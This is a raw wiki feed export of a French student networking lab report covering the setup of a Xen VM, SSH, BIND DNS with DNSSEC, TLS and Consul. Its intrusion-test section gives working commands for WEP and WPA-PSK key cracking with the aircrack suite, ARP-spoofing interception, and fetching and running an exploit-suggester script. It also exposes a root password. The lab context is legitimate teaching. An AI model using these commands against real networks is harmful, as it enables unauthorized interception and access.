CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
	&amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58012</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58012"/>
				<updated>2022-01-12T12:46:32Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
